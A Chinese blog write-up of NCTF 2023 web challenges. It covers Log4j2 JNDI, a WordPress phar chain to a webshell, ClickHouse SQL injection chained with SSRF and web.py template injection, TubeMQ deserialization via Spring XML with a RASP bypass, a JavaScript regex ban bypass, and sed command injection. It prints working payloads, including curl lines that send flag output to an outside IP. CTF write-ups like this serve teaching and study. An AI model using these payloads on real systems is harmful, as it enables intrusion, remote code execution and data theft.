December 28, 2023

NCTF 2023 Web Writeup(Post-Match)

前言

看了一下WP感觉这次的题目都好有质量,然后就滚过来复现114和X1r0z师傅的题了。膜一下2位大佬。作为XZ师傅博客的忠实粉丝,我也发现这次题目绝大多数知识点他博客也都有。所有web题都给了docker环境,爱了爱了

logging

Log4j2,偏实战类吧,Accept请求头实战中我经常这样测。
image.png
image.png
image.png
畸形的Accpet头成功触发了log,那么就引发了JNDI注入,接下里我们用JNDI-Exp就行了。
image.png
image.png
这个题还是比较经典的签到题。

ez wordpress

之前p神知识星球里的wordpress的gadgets
./phpggc WordPress/RCE2 system "echo '' > /var/www/html/shell.php" -p phar -o ~/payload.phar
获取phar文件,然后就是2个CVE,一共3个漏洞扫出来
wpscan --url [http://127.0.0.1:8012/](http://127.0.0.1:8012/) --api-token xxx
image.pngimage.pngimage.png
一个任意文件上传,一个SSRF,刚好满足触发phar的条件。
image.png
我们现在获取到了上传文件的位置了。
/var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/test.jpg
,接下来就是触发phar的ssrf了。
image.png
这里的base64就是phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/payload.jpg/test.txt
最后成功写入webshell
image.png
后面就是date提权
image.png
结束下班,注意记得phpggc中的php版本和题目版本对应上,题目是php7,别用php8或者php5就行。

house of click

click house数据库的利用,这题也比较好玩,考点是SSRF和SSTI,入口点是数据库的盲注,看标题第一眼我还以为是pwn题。
审计一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import clickhouse_connect
import ipaddress
import web
import os

with open('.token', 'r') as f:
TOKEN = f.read()

urls = (
'/', 'Index',
'/query', 'Query',
'/api/ping', 'Ping',
'/api/token', 'Token',
'/api/upload', 'Upload',
)

render = web.template.render('templates/')


def check_ip(ip, ip_range):
return ipaddress.ip_address(ip) in ipaddress.ip_network(ip_range)


class Index:
def GET(self):
return render.index()

def POST(self):
data = web.input(name='index')
return render.__getattr__(data.name)()


class Query:
def POST(self):
data = web.input(id='1')

client = clickhouse_connect.get_client(host='db', port=8123, username='default', password='default')
sql = 'SELECT * FROM web.users WHERE id = ' + data.id
client.command(sql)
client.close()

return 'ok'


class Ping:
def GET(self):
return 'pong'


class Token:
def GET(self):
ip = web.ctx.env.get('REMOTE_ADDR')
if not check_ip(ip, '172.28.0.0/16'):
return 'forbidden'
return TOKEN


class Upload:
def POST(self):
ip = web.ctx.env.get('REMOTE_ADDR')
token = web.ctx.env.get('HTTP_X_ACCESS_TOKEN')

if not check_ip(ip, '172.28.0.0/16'):
return 'forbidden'
if token != TOKEN:
return 'unauthorized'

files = web.input(myfile={})
if 'myfile' in files:
filepath = os.path.join('upload/', files.myfile.filename)
if (os.path.isfile(filepath)):
return 'error'
with open(filepath, 'wb') as f:
f.write(files.myfile.file.read())
return 'ok'


app = web.application(urls, globals())
application = app.wsgifunc(web.httpserver.StaticMiddleware)

这边搭建环境前首先请注意一下自己的Clickhouse版本是不是23.x的版本,因为有一些需要用到的函数在老版本没有,然后docker镜像源不同拉出来的版本也不同,推荐使用清华。
image.png
这里我的版本是23.11.3最新版。那我们就开始吧。
https://clickhouse.com/docs/en/sql-reference/table-functions/url
上面是houseclick的使用文档,阅读文档可以发现他和mysql类似,但是功能比mysql强大的多,用法也大差不差。入口点很清晰的看到是一个SQL注入。可以拼贴字符串。那我们现在要做的事情是获取token,随后获取到token后我们可以上传一个文件,这里上传文件也有目录穿越,穿越到模板文件目录直接访问index进行ssti。

思路就上面三步。通过上面的doc我们知道houseclick是可以用url函数进行http请求的。
SELECT * FROM url('[http://8.130.24.188:7775/',](http://8.130.24.188:7775/',) CSV, 'column1 String, column2 UInt32', headers('Accept'='text/csv; charset=utf-8')) LIMIT 3;
image.png
这里我们接受到了请求,那么我们就可以去请求token,我们后端测试一下
image.png
可以发现成功获取了cookie,那么我们只需要外带出来就可以了
id =1 and (select * from url('[http://8.130.24.188:7776/](http://8.130.24.188:7775/',)?token='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))),CSV,'a String'))
这里需要注意一下源码里的nginx.conf
image.png
只反代了api路径,那么query路径正常来说我们是无法访问的,但是后端采用的是Nginx+gunicorn,因此存在tab(%09)绕过
https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g
image.png
这里那个tab不用编码,直接打出来就行了
image.png
我们获取到token的hex编码了,解码后为873d437a3a98b705c5a3ca7c503d000e,那么我们获取到token后加到X-Access-Token请求头即可,那么接下来思考的就是如何SSRF发送一段POST请求了,根据上述获取token的流程来开,select语句发起的是一段GET请求,那么有没有办法发起一段POST请求呢?
image.png
DOC中给出了insert语句的语法
insert into function url('[http://8.130.24.188:7775/',](http://8.130.24.188:7775/',) CSV, 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='873d437a3a98b705c5a3ca7c503d000e')) Values('boogipop');
image.png

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 8.130.24.188
Transfer-Encoding: chunked
Content-Type: text/csv; charset=UTF-8; header=absent
Content-Type: multipart/form-data; boundary=----test
X-Access-Token: 873d437a3a98b705c5a3ca7c503d000e
Connection: Close

B
"boogipop"

0

这里我们成功发起一段POST请求,但是有个问题就是有2个content-type,这个在 flask和其他中间件中,第二个type是不会被识别的,所以这里用的中间件是webpy。那么我们现在可以进行CRLF注入了。Values是可控的,
还有一点就是ssti模板注入了
https://webpy.org/docs/0.3/templetor.zh-cn
webpy的模板允许我们执行任意python代码,那么直接rce了
我们的payload为
insert into function url('[http://8.130.24.188:7775/',](http://8.130.24.188:7775/',) CSV, 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='873d437a3a98b705c5a3ca7c503d000e')) Values(' ------ test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/exp.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n __import__(\'os\').system(\'curl http://8.130.24.188:7775/?flag=/readflag | base64\')\r\n------test--');
image.png
但是这里是引号包裹的,所以我们得换个格式,把CSV换为TabSeparatedRaw
成功的构造出了文件上传的请求报文,最后的payload为
insert into function url('[http://backend:8001/api/upload',](http://8.130.24.188:7775/',)'TabSeparatedRaw', 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='873d437a3a98b705c5a3ca7c503d000e')) Values(' ------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/exp.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n __import__(\'os\').system(\'curl http://8.130.24.188:7775/?flag=/readflag | base64\')\r\n------test--');
image.png
成功上传了文件,但是这是任意sql语句执行,题目中我们select中不能使用insert语句。这里又涉及到clickhouse的http interface,我们可以通过请求http://default:default@db:8123/?query=SQL 执行任意SQL语句,那么我们最终构造的payload是

1
2
3
4
5
6
7
POST /query	HTTP/1.1/../../api/ping HTTP/1.1
Host: localhost:8013
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4234

id=1 and (select * from url('http://default:default@db:8123/?query=%25%36%39%25%36%65%25%37%33%25%36%35%25%37%32%25%37%34%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%36%32%25%36%31%25%36%33%25%36%62%25%36%35%25%36%65%25%36%34%25%33%61%25%33%38%25%33%30%25%33%30%25%33%31%25%32%66%25%36%31%25%37%30%25%36%39%25%32%66%25%37%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%32%37%25%32%63%25%32%37%25%35%34%25%36%31%25%36%32%25%35%33%25%36%35%25%37%30%25%36%31%25%37%32%25%36%31%25%37%34%25%36%35%25%36%34%25%35%32%25%36%31%25%37%37%25%32%37%25%32%63%25%32%30%25%32%37%25%36%31%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%37%25%32%63%25%36%38%25%36%35%25%36%31%25%36%34%25%36%35%25%37%32%25%37%33%25%32%38%25%32%37%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%32%37%25%33%64%25%32%37%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%37%34%25%36%35%25%37%33%25%37%34%25%32%37%25%32%63%25%32%37%25%35%38%25%32%64%25%34%31%25%36%33%25%36%33%25%36%35%25%37%33%25%37%33%25%32%64%25%35%34%25%36%66%25%36%62%25%36%35%25%36%65%25%32%37%25%33%64%25%32%37%25%33%38%25%33%37%25%33%33%25%36%34%25%33%34%25%33%33%25%33%37%25%36%31%25%33%33%25%36%31%25%33%39%25%33%38%25%36%32%25%33%37%25%33%30%25%33%35%25%36%33%25%33%35%25%36%31%25%33%33%25%36%33%25%36%31%25%33%37%25%36%33%25%33%35%25%33%30%25%33%33%25%36%34%25%33%30%25%33%30%25%33%30%25%36%35%25%32%37%25%32%39%25%32%39%25%32%30%25%35%36%25%36%31%25%36%63%25%37%35%25%36%35%25%37%33%25%32%38%25%32%37%25%32%30%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%37%34%25%36%35%25%37%33%25%37%34%25%35%63%25%37%32%25%35%63%25%36%65%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%64%25%37%39%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%32%65%25%32%65%25%32%66%25%37%34%25%36%35%25%36%64%25%37%30%25%36%63%25%36%31%25%37%34%25%36%35%25%37%33%25%32%66%25%36%35%25%37%38%25%37%30%25%32%65%25%36%38%25%37%34%25%36%64%25%36%63%25%32%32%25%35%63%25%37%32%25%35%63%25%36%65%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%37%30%25%36%63%25%36%31%25%36%39%25%36%65%25%35%63%25%37%32%25%35%63%25%36%65%25%35%63%25%37%32%25%35%63%25%36%65%25%32%34%25%36%33%25%36%66%25%36%34%25%36%35%25%33%61%25%35%63%25%37%32%25%35%63%25%36%65%25%30%39%25%35%66%25%35%66%25%36%39%25%36%64%25%37%30%25%36%66%25%37%32%25%37%34%25%35%66%25%35%66%25%32%38%25%35%63%25%32%37%25%36%66%25%37%33%25%35%63%25%32%37%25%32%39%25%32%65%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%38%25%35%63%25%32%37%25%36%33%25%37%35%25%37%32%25%36%63%25%32%30%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%33%38%25%32%65%25%33%31%25%33%33%25%33%30%25%32%65%25%33%32%25%33%34%25%32%65%25%33%31%25%33%38%25%33%38%25%33%61%25%33%37%25%33%37%25%33%37%25%33%35%25%32%66%25%33%66%25%36%36%25%36%63%25%36%31%25%36%37%25%33%64%25%36%30%25%32%66%25%37%32%25%36%35%25%36%31%25%36%34%25%36%36%25%36%63%25%36%31%25%36%37%25%32%30%25%37%63%25%32%30%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%36%30%25%35%63%25%32%37%25%32%39%25%35%63%25%37%32%25%35%63%25%36%65%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%37%34%25%36%35%25%37%33%25%37%34%25%32%64%25%32%64%25%32%37%25%32%39%25%33%62',CSV,'a String'))

image.png
最后访问index渲染exp模板
image.png
image.png
成功获得flag。nctf{hacking_clickhouse_database_qkh7ZrPqHK2GVHky}

EvilMQ

和ActiveMQ类似的漏洞。TubeMQ的漏洞
第二题决定就先做这题了,感觉这题好玩。但是环境搭建是真的不好玩。环境搭建2小时,做题20分钟。
https://github.com/apache/inlong/tree/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq
先搭建一下服务端
项目在这,直接git拉下来就可以了,然后用IDEA打开inlong项目
image.png
然后耐心的等待IDEA的加载。。。。加载完毕后我们需要运行一下Core项目里的proto:compile,在maven里去运行,然后就会生成3个RPC生成的Java文件(并且注意项目及子项目目录名称不能为中文)
image.png
然后把这三个文件放到
image.png
定义了grpc里的protobuf,我也不知道是不是自己的方法笨,反正我觉得搭建的好困难。搭建完毕后我们就可以自行启动一个grpc server
image.png
自己加入一个主函数就好了,运行后会在9999启动一个grpc server。之后我们就可以开启调试模式自行测试了。假如是远程情况的也不是很复杂,你把这个Nettyserver所需的一些Java文件都整合起来,然后打个Jar包也是一样的。
至此我们开始我们的分析,漏洞点也是出现在org.apache.inlong.tubemq.corerpc.netty.NettyClient,TubeMQ是基于Netty的,Netty的handler需要重写channleRead方法,我们直接给上断点。
image.png
漏洞点是其中的MixUtils.unwrapException,我们之前的ApacheMQ是BaseDataStreamMarshalle.createThrowable,都是在异常处理这块有实例化任意方法的点位。
image.png
当我们与恶意的Server进行交互时,server这边可以控制你的strExceptionMsgSet
服务端如下
image.png
客户端如下
image.png
可以看到client这边接收到了evil server返回的2个字符串,那么这里只需要控制这2个字符串为CPX类,完成实例化加载XML文件就结束了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
logger.debug("server message receive!");
if (!(msg instanceof RpcDataPack)) {
return;
}
logger.debug("server RpcDataPack message receive!");
RpcDataPack dataPack = (RpcDataPack) msg;
RPCProtos.RpcConnHeader connHeader;
RPCProtos.RequestHeader requestHeader;
RPCProtos.RequestBody rpcRequestBody;
int rmtVersion = RpcProtocol.RPC_PROTOCOL_VERSION;
Channel channel = ctx.channel();
if (channel == null) {
return;
}
String rmtaddrIp = getRemoteAddressIP(channel);
try {
if (!isServiceStarted()) {
throw new ServerNotReadyException("RpcServer is not running yet");
}
List<ByteBuffer> req = dataPack.getDataLst();
ByteBufferInputStream dis = new ByteBufferInputStream(req);
connHeader = RPCProtos.RpcConnHeader.parseDelimitedFrom(dis);
requestHeader = RPCProtos.RequestHeader.parseDelimitedFrom(dis);
rmtVersion = requestHeader.getProtocolVer();
rpcRequestBody = RPCProtos.RequestBody.parseDelimitedFrom(dis);
} catch (Throwable e1) {
if (!(e1 instanceof ServerNotReadyException)) {
if (rmtaddrIp != null) {
AtomicLong count = errParseAddrMap.get(rmtaddrIp);
if (count == null) {
AtomicLong tmpCount = new AtomicLong(0);
count = errParseAddrMap.putIfAbsent(rmtaddrIp, tmpCount);
if (count == null) {
count = tmpCount;
}
}
count.incrementAndGet();
long befTime = lastParseTime.get();
long curTime = System.currentTimeMillis();
if (curTime - befTime > 180000) {
if (lastParseTime.compareAndSet(befTime, System.currentTimeMillis())) {
logger.warn(new StringBuilder(512)
.append("[Abnormal Visit] Abnormal Message Content visit list is :")
.append(errParseAddrMap).toString());
errParseAddrMap.clear();
}
}
}
}
List<ByteBuffer> res =
prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
e1.getClass().getName(), new StringBuilder(512)
.append("IPC server unable to read call parameters:")
.append(e1.getMessage()).toString());
if (res != null) {
dataPack.setDataLst(res);
channel.writeAndFlush(dataPack);
}
return;
}
try {
throw new Throwable("Boogipop");
//RequestWrapper requestWrapper =
// new RequestWrapper(requestHeader.getServiceType(),
// this.protocolType, requestHeader.getProtocolVer(),
// connHeader.getFlag(), rpcRequestBody.getTimeout());
//requestWrapper.setMethodId(rpcRequestBody.getMethod());
//requestWrapper.setRequestData(PbEnDecoder.pbDecode(true,
// rpcRequestBody.getMethod(), rpcRequestBody.getRequest().toByteArray()));
//requestWrapper.setSerialNo(dataPack.getSerialNo());
//RequestContext context =
// new NettyRequestContext(requestWrapper, ctx, System.currentTimeMillis());
//protocols.get(this.protocolType).handleRequest(context, rmtaddrIp);
} catch (Throwable ee) {
List<ByteBuffer> res =
prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
"org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8888/bean.xml");
if (res != null) {
dataPack.setDataLst(res);
ctx.channel().writeAndFlush(dataPack);
}
return;
}
}

xml准备如下。

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#{T(java.lang.Runtime).getRuntime().exec('calc')}"></bean>
</beans>

image.png
image.png
由于会通信数次,所以会弹出很多计算机。然后题目其实是有一个RASP的,hook了forkexec,这里是底层做的事情,但是这个rasp只有linux可以用
image.png
他hook的是UNIXProcess。这里解决方法很多,可以参考官方wp里给的2个。
我比较喜欢这个
https://www.jrasp.com/guide/technology/native_method.html
这里讲到了rasp hook native function方法的一个原理。是给native func加一个前缀,所以我们反射调用修改后的名字即可。
还有一种方法是load so文件,直接System.load,题目并没有做任何过滤。攻击代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#
{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.Evil',
T(org.springframework.util.Base64Utils).decodeFromString(data),new
javax.management.loading.MLet(new
java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).n
ewInstance()}"></bean>
</beans>
1
2
3
4
5
6
7
8
9
10
11
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Evil {
public Evil() throws Exception {
String data = "PAYLOAD";
String filename = "/tmp/evil.so";
Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
System.load(filename);
}
}

恶意类如上。总而言之我觉得这题很有意义,XZ师傅太强拉~

wait what

114出的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158

const express = require('express');
const child_process = require('child_process')
const app = express()
app.use(express.json())
const port = 80

function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

let users = {
"admin": "admin",
"user": "user",
"guest": "guest",
'hacker':'hacker'
}

let banned_users = ['hacker']

// 你不准getflag
banned_users.push("admin")

let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

//鉴权中间件
function requireLogin(req, res, next) {
let username = req.body.username
let password = req.body.password
if (!username || !password) {
res.send("用户名或密码不能为空")
return
}
if (typeof username !== "string" || typeof password !== "string") {
res.send("用户名或密码不合法")
return
}
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")
}

function registerUser(username, password) {
if (typeof username !== "string" || username.length > 20) {
return "用户名不合法"
}
if (typeof password !== "string" || password.length > 20) {
return "密码不合法"
}
if (username in users) {
return "用户已存在"
}

for(let existing_user in users){
let existing_user_password = users[existing_user]
if (existing_user_password === password){
return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`
}
}

users[username] = password
return "注册成功"
}

app.use(express.static('public'))

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

app.post("/api/register", (req, res) => {
let username = req.body.username
let password = req.body.password
let message = registerUser(username, password)
res.send(message)
})

app.post("/api/login", requireLogin, (req, res) => {
res.send("登录成功!")
})

app.post("/api/flag", requireLogin, (req, res) => {
let username = req.body.username
if (username !== "admin") {
res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")
return
}
let flag = child_process.execSync("cat flag").toString()
res.end(flag)
console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")
res.on("finish", () => {
setTimeout(() => { process.exit(0) }, 1)
})
return
})

app.post('/api/ban_user', requireLogin, (req, res) => {
let username = req.body.username
let ban_username = req.body.ban_username
if(!ban_username){
res.send("ban_username不能为空")
return
}
if(username === ban_username){
res.send("不能封禁自己")
return
}
for (let name of banned_users){
if (name === ban_username) {
res.send("用户已经被封禁")
return
}
}
banned_users.push(ban_username)
res.send("封禁成功!")
})



app.get("/", (req, res) => {
res.redirect("/static/index.html")
})

app.listen(port, () => {
console.log(`listening on port ${port}`)
})

源码如上,思路就是怎么绕过黑名单,登录admin,去获取flag。
这里主要是有2个waf,在requireLogin函数里,其中一个逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")

in关键词?在nodejs里in的意思可不一样,他表示属性是否存在,就算你填admin,那也不会被识别,因为banned_users数组并没有admin属性,他只有索引。那也就是说第二个waf是白给的,剩下的需要绕过test1,而test1的绕过和new RegExp(regex_string, "g")有关,询问chatgpt后发现
image.png
意思也就是每次识别的时候index会往后移,图中的例子第一次没识别的时候index为0,从识别123到识别456,index会从0到8,然后456到789移动到16,也就是47的后一位。但是题目用了一个中间件

1
2
3
4
5
6
7
8
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})
1
2
3
4
5
6
7
8
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

导致每次index都会清空,那么假如能不让他清空,index识别一次后就会后移,第二次识别就识别不到了。这个方法也很简单,就是让build_banned_users_regex报错,这样这个中间件就作废了。报错的方法之前在其他比赛有见过,由于调用了escapeRegExp函数,让username不为字符串就会报错了,让他为对象或者其他的都可以,我们往banned_user里面push一个对象就好了。先注册一个用户,然后把这个用户ban了
image.png
image.png
往banned_user推入了一个对象。那么我们在下次访问时就会
image.png
image.png
第一次访问后这个lastIndex变成了5,第二次访问后
由于build方法内报错,无法重置了,因此这次识别为false,获取flag
image.png
image.png
这里是windows没cat指令,远程就通了。

webshell generator

114出的
sed指令注入。听说是给了附件,给了附件后可能就相对于简单一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>

这里给KEY和METHOD赋值后就运行了generate.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

这里存在一个sed指令,其中KEY和METHOD我们是可控的,然后templates文件如下

1
<?php eval($_METHOD["KEY"]);

会把上述的METHOD和KEY替换为我们输入的东西,然后给我们下载,这里存在sed指令注入。
sed -i "s/KEY//g;1e /readflag;s///g" "/tmp/123"
image.png
e参数可以执行命令,会把执行结果放到第一行,然后我们只需要闭合一下前后语句即可。s/KEY//g会把key置空,然后s///g没啥用,把空格替换为空格,那么显而易见我们最终的payload为key=/g;1e /readflag;s//
image.png
image.png
至此所有题目复现完毕

小结

TubeMQ和ClickHouse比较喜欢,其他的题也很有趣味性,学到了很多。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp